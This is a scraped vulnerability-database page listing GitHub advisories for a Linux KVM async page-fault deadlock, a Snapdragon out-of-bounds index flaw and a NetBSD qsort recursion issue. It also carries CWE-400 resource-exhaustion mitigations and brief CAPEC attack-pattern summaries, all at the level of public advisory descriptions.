WARNING: CPU: 8 PID: 251 at virt/kvm/kvm_main.c:1435 kvm_put_kvm+0x2d/0x320 [kvm] Modules linked in: vhost_net vhost vhost_iotlb tap kvm_intel kvm irqbypass CPU: 8 PID: 251 Comm: kworker/8:1 Tainted: G W 6.6.0-rc1-e7af8d17224a-x86/gmem-vm #119 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015 Workqueue: events async_pf_execute [kvm] RIP: 0010:kvm_put_kvm+0x2d/0x320 [kvm] Call Trace: async_pf_execute+0x198/0x260 [kvm] process_one_work+0x145/0x2d0 worker_thread+0x27e/0x3a0 kthread+0xba/0xe0 ret_from_fork+0x2d/0x50 ret_from_fork_asm+0x11/0x20 ---[ end trace 0000000000000000 ]--- INFO: task kworker/8:1:251 blocked for more than 120 seconds. Tainted: G W 6.6.0-rc1-e7af8d17224a-x86/gmem-vm #119 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. task:kworker/8:1 state:D stack:0 pid:251 ppid:2 flags:0x00004000 Workqueue: events async_pf_execute [kvm] Call Trace: __schedule+0x33f/0xa40 schedule+0x53/0xc0 schedule_timeout+0x12a/0x140 __wait_for_common+0x8d/0x1d0 __flush_work.isra.0+0x19f/0x2c0 kvm_clear_async_pf_completion_queue+0x129/0x190 [kvm] kvm_arch_destroy_vm+0x78/0x1b0 [kvm] kvm_put_kvm+0x1c1/0x320 [kvm] async_pf_execute+0x198/0x260 [kvm] process_one_work+0x145/0x2d0 worker_thread+0x27e/0x3a0 kthread+0xba/0xe0 ret_from_fork+0x2d/0x50 ret_from_fork_asm+0x11/0x20

If kvm_clear_async_pf_completion_queue() actually flushes the workqueue, then there's no need to gift async_pf_execute() a reference because all invocations of async_pf_execute() will be forced to complete before the vCPU and its VM are destroyed/freed. And that in turn fixes the module unloading bug as __fput() won't do module_put() on the last vCPU reference until the vCPU has been freed, e.g. if closing the vCPU file also puts the last reference to the KVM module.

Note that kvm_check_async_pf_completion() may also take the work item off the completion queue and so also needs to flush the work queue, as the work will not be seen by kvm_clear_async_pf_completion_queue(). Waiting on the workqueue could theoretically delay a vCPU due to waiting for the work to complete, but that's a very, very small chance, and likely a very small delay. kvm_arch_async_page_present_queued() unconditionally makes a new request, i.e. will effectively delay entering the guest, so the remaining work is really just:

    trace_kvm_async_pf_completed(addr, cr2_or_gpa);

    __kvm_vcpu_wake_up(vcpu);

    mmput(mm);

and mmput() can't drop the last reference to the page tables if the vCPU is still alive, i.e. the vCPU won't get stuck tearing down page tables.

Add a helper to do the flushing, specifically to deal with "wakeup all" work items, as they aren't actually work items, i.e. are never placed in a workqueue. Trying to flush a bogus workqueue entry rightly makes __flush_work() complain (kudos to whoever added that sanity check).

Note, commit 5f6de5cbebee ("KVM: Prevent module exit until al ---truncated---

Severity
7.0 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-26976"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-01T06:15:14Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: Always flush async #PF workqueue when vCPU is being destroyed\n\nAlways flush the per-vCPU async #PF workqueue when a vCPU is clearing its\ncompletion queue, e.g. when a VM and all its vCPUs is being destroyed.\nKVM must ensure that none of its workqueue callbacks is running when the\nlast reference to the KVM _module_ is put.  Gifting a reference to the\nassociated VM prevents the workqueue callback from dereferencing freed\nvCPU/VM memory, but does not prevent the KVM module from being unloaded\nbefore the callback completes.\n\nDrop the misguided VM refcount gifting, as calling kvm_put_kvm() from\nasync_pf_execute() if kvm_put_kvm() flushes the async #PF workqueue will\nresult in deadlock.  async_pf_execute() can\u0027t return until kvm_put_kvm()\nfinishes, and kvm_put_kvm() can\u0027t return until async_pf_execute() finishes:\n\n WARNING: CPU: 8 PID: 251 at virt/kvm/kvm_main.c:1435 kvm_put_kvm+0x2d/0x320 [kvm]\n Modules linked in: vhost_net vhost vhost_iotlb tap kvm_intel kvm irqbypass\n CPU: 8 PID: 251 Comm: kworker/8:1 Tainted: G        W          6.6.0-rc1-e7af8d17224a-x86/gmem-vm #119\n Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015\n Workqueue: events async_pf_execute [kvm]\n RIP: 0010:kvm_put_kvm+0x2d/0x320 [kvm]\n Call Trace:\n  \u003cTASK\u003e\n  async_pf_execute+0x198/0x260 [kvm]\n  process_one_work+0x145/0x2d0\n  worker_thread+0x27e/0x3a0\n  kthread+0xba/0xe0\n  ret_from_fork+0x2d/0x50\n  ret_from_fork_asm+0x11/0x20\n  \u003c/TASK\u003e\n ---[ end trace 0000000000000000 ]---\n INFO: task kworker/8:1:251 blocked for more than 120 seconds.\n       Tainted: G        W          6.6.0-rc1-e7af8d17224a-x86/gmem-vm #119\n \"echo 0 \u003e /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n task:kworker/8:1     state:D stack:0     pid:251   ppid:2      flags:0x00004000\n Workqueue: events async_pf_execute [kvm]\n Call Trace:\n  \u003cTASK\u003e\n  __schedule+0x33f/0xa40\n  schedule+0x53/0xc0\n  schedule_timeout+0x12a/0x140\n  __wait_for_common+0x8d/0x1d0\n  __flush_work.isra.0+0x19f/0x2c0\n  kvm_clear_async_pf_completion_queue+0x129/0x190 [kvm]\n  kvm_arch_destroy_vm+0x78/0x1b0 [kvm]\n  kvm_put_kvm+0x1c1/0x320 [kvm]\n  async_pf_execute+0x198/0x260 [kvm]\n  process_one_work+0x145/0x2d0\n  worker_thread+0x27e/0x3a0\n  kthread+0xba/0xe0\n  ret_from_fork+0x2d/0x50\n  ret_from_fork_asm+0x11/0x20\n  \u003c/TASK\u003e\n\nIf kvm_clear_async_pf_completion_queue() actually flushes the workqueue,\nthen there\u0027s no need to gift async_pf_execute() a reference because all\ninvocations of async_pf_execute() will be forced to complete before the\nvCPU and its VM are destroyed/freed.  And that in turn fixes the module\nunloading bug as __fput() won\u0027t do module_put() on the last vCPU reference\nuntil the vCPU has been freed, e.g. if closing the vCPU file also puts the\nlast reference to the KVM module.\n\nNote that kvm_check_async_pf_completion() may also take the work item off\nthe completion queue and so also needs to flush the work queue, as the\nwork will not be seen by kvm_clear_async_pf_completion_queue().  Waiting\non the workqueue could theoretically delay a vCPU due to waiting for the\nwork to complete, but that\u0027s a very, very small chance, and likely a very\nsmall delay.  kvm_arch_async_page_present_queued() unconditionally makes a\nnew request, i.e. will effectively delay entering the guest, so the\nremaining work is really just:\n\n        trace_kvm_async_pf_completed(addr, cr2_or_gpa);\n\n        __kvm_vcpu_wake_up(vcpu);\n\n        mmput(mm);\n\nand mmput() can\u0027t drop the last reference to the page tables if the vCPU is\nstill alive, i.e. the vCPU won\u0027t get stuck tearing down page tables.\n\nAdd a helper to do the flushing, specifically to deal with \"wakeup all\"\nwork items, as they aren\u0027t actually work items, i.e. are never placed in a\nworkqueue.  Trying to flush a bogus workqueue entry rightly makes\n__flush_work() complain (kudos to whoever added that sanity check).\n\nNote, commit 5f6de5cbebee (\"KVM: Prevent module exit until al\n---truncated---",
  "id": "GHSA-qc4m-rx2p-hrfv",
  "modified": "2024-07-03T18:38:00Z",
  "published": "2024-05-01T06:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26976"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3d75b8aa5c29058a512db29da7cbee8052724157"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4f3a3bce428fb439c66a578adc447afce7b4a750"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/82e25cc1c2e93c3023da98be282322fc08b61ffb"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/83d3c5e309611ef593e2fcb78444fc8ceedf9bac"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a75afe480d4349c524d9c659b1a5a544dbc39a98"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ab2c2f5d9576112ad22cfd3798071cb74693b1f5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b54478d20375874aeee257744dedfd3e413432ff"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/caa9af2e27c275e089d702cfbaaece3b42bca31b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f8730d6335e5f43d09151fca1f0f41922209a264"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC5G-X3CG-494V

Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2024-04-04 00:46
VLAI
Details

Index of array is processed in a wrong way inside a while loop and result in invalid index (-1 or something else) leads to out of bound memory access. in Snapdragon Auto, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wired Infrastructure and Networking in MDM9206, MDM9607, MDM9640, MDM9650, MSM8996AU, QCA6174A, QCA6574, QCA6574AU, QCA6584, QCA6584AU, QCA9377, QCA9379, QCA9886, SD 210/SD 212/SD 205, SD 425, SD 427, SD 430, SD 435, SD 450, SD 625, SD 820, SD 820A, SD 835, SDX20, SDX24, Snapdragon_High_Med_2016

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-11936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-24T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Index of array is processed in a wrong way inside a while loop and result in invalid index (-1 or something else) leads to out of bound memory access. in Snapdragon Auto, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice \u0026 Music, Snapdragon Wired Infrastructure and Networking in MDM9206, MDM9607, MDM9640, MDM9650, MSM8996AU, QCA6174A, QCA6574, QCA6574AU, QCA6584, QCA6584AU, QCA9377, QCA9379, QCA9886, SD 210/SD 212/SD 205, SD 425, SD 427, SD 430, SD 435, SD 450, SD 625, SD 820, SD 820A, SD 835, SDX20, SDX24, Snapdragon_High_Med_2016",
  "id": "GHSA-qc5g-x3cg-494v",
  "modified": "2024-04-04T00:46:50Z",
  "published": "2022-05-24T16:46:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11936"
    },
    {
      "type": "WEB",
      "url": "https://www.qualcomm.com/company/product-security/bulletins#_CVE-2018-11936"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QC88-87CW-XW5J

Vulnerability from github – Published: 2022-05-13 01:41 – Updated: 2022-05-13 01:41
VLAI
Details

The NetBSD qsort() function is recursive, and not randomized, an attacker can construct a pathological input array of N elements that causes qsort() to deterministically recurse N/4 times. This allows attackers to consume arbitrary amounts of stack memory and manipulate stack memory to assist in arbitrary code execution attacks. This affects NetBSD 7.1 and possibly earlier versions.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-1000378"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-19T16:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "The NetBSD qsort() function is recursive, and not randomized, an attacker can construct a pathological input array of N elements that causes qsort() to deterministically recurse N/4 times. This allows attackers to consume arbitrary amounts of stack memory and manipulate stack memory to assist in arbitrary code execution attacks. This affects NetBSD 7.1 and possibly earlier versions.",
  "id": "GHSA-qc88-87cw-xw5j",
  "modified": "2022-05-13T01:41:13Z",
  "published": "2022-05-13T01:41:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000378"
    },
    {
      "type": "WEB",
      "url": "https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt"
    },
    {
      "type": "WEB",
      "url": "http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/stdlib/qsort.c?rev=1.23\u0026content-type=text/x-cvsweb-markup"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99255"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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